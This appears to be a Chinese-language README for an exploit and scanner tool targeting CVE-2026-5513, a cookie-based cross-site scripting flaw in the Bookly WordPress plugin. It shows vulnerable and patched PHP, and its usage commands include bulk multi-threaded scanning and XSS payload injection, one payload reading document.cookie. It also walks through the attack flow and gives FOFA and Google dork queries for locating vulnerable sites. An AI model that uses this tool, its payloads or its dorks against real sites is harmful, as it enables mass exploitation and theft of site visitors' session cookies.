攻击者 → 设置恶意 Cookie（bookly-customer-full-name=<script>...</script>）
        → 访问包含 Bookly 预约表单的页面
        → 插件读取 Cookie，未经转义直接渲染
        → XSS 载荷在受害者浏览器上下文中执行

// VULNERABLE — Bookly ≤ 27.2
$full_name = $_COOKIE['bookly-customer-full-name'];  // No sanitization
echo '<input type="text" value="' . $full_name . '" />';  // No escaping

// PATCHED — Bookly 27.3+
$full_name = sanitize_text_field($_COOKIE['bookly-customer-full-name']);
echo '<input type="text" value="' . esc_attr($full_name) . '" />';

 ✓ 自动IP/域名探测（HTTP/HTTPS，常见端口，重定向检测）
 ✓ WordPress 及 Bookly 插件检测与版本检查
 ✓ Cookie 设置检测（BooklyL10n JS 分析 + 金丝雀反射）
 ✓ 多上下文 XSS 测试（HTML、JavaScript、属性注入）
 ✓ 载荷注入与反射验证
 ✓ 单目标或从文件批量扫描
 ✓ 多线程扫描（最多20个线程）
 ✓ 代理支持（Burp 等）
 ✓ 自动保存存在漏洞的结果
 ✓ 交互式菜单与命令行模式

pip install requests colorama

# 检查单个目标
python CVE-2026-5513.py -u https://target.com -v

# 检查单个 IP（自动探测端口 + 重定向）
python CVE-2026-5513.py -u 167.99.0.203 -v

# 检查并注入 XSS 载荷
python CVE-2026-5513.py -u https://target.com --inject -v

# 自定义 XSS 载荷
python CVE-2026-5513.py -u https://target.com --inject --payload "<svg onload=alert(document.cookie)>"

# 从文件批量扫描
python CVE-2026-5513.py -l targets.txt -t 20 -o vuln.txt

# 使用 Burp 代理
python CVE-2026-5513.py -u https://target.com -v --proxy http://127.0.0.1:8080

python CVE-2026-5513.py

https://example.com
http://example.com
example.com
192.168.1.100
192.168.1.100:8080

STEP 0 → 探测目标（IP/域名 → 解析基础URL，检测重定向）
STEP 1 → 检测 Bookly 插件（readme.txt、插件目录、素材、版本检查）
STEP 2 → 检查 Cookie 设置（BooklyL10n JS 分析 + 金丝雀反射测试）
STEP 3 → 测试 XSS 反射（HTML 上下文、JS 上下文、属性上下文）
STEP 4 → 注入载荷（若为 --inject 模式，验证反射）

# FOFA
body="bookly-responsive-appointment-booking-tool"
body="bookly-customer-full-name"
body="bookly-form-group" && body="wp-content/plugins/bookly"

# Google
inurl:"/wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txt"
intitle:"Book Appointment" inurl:"booking" intext:"bookly"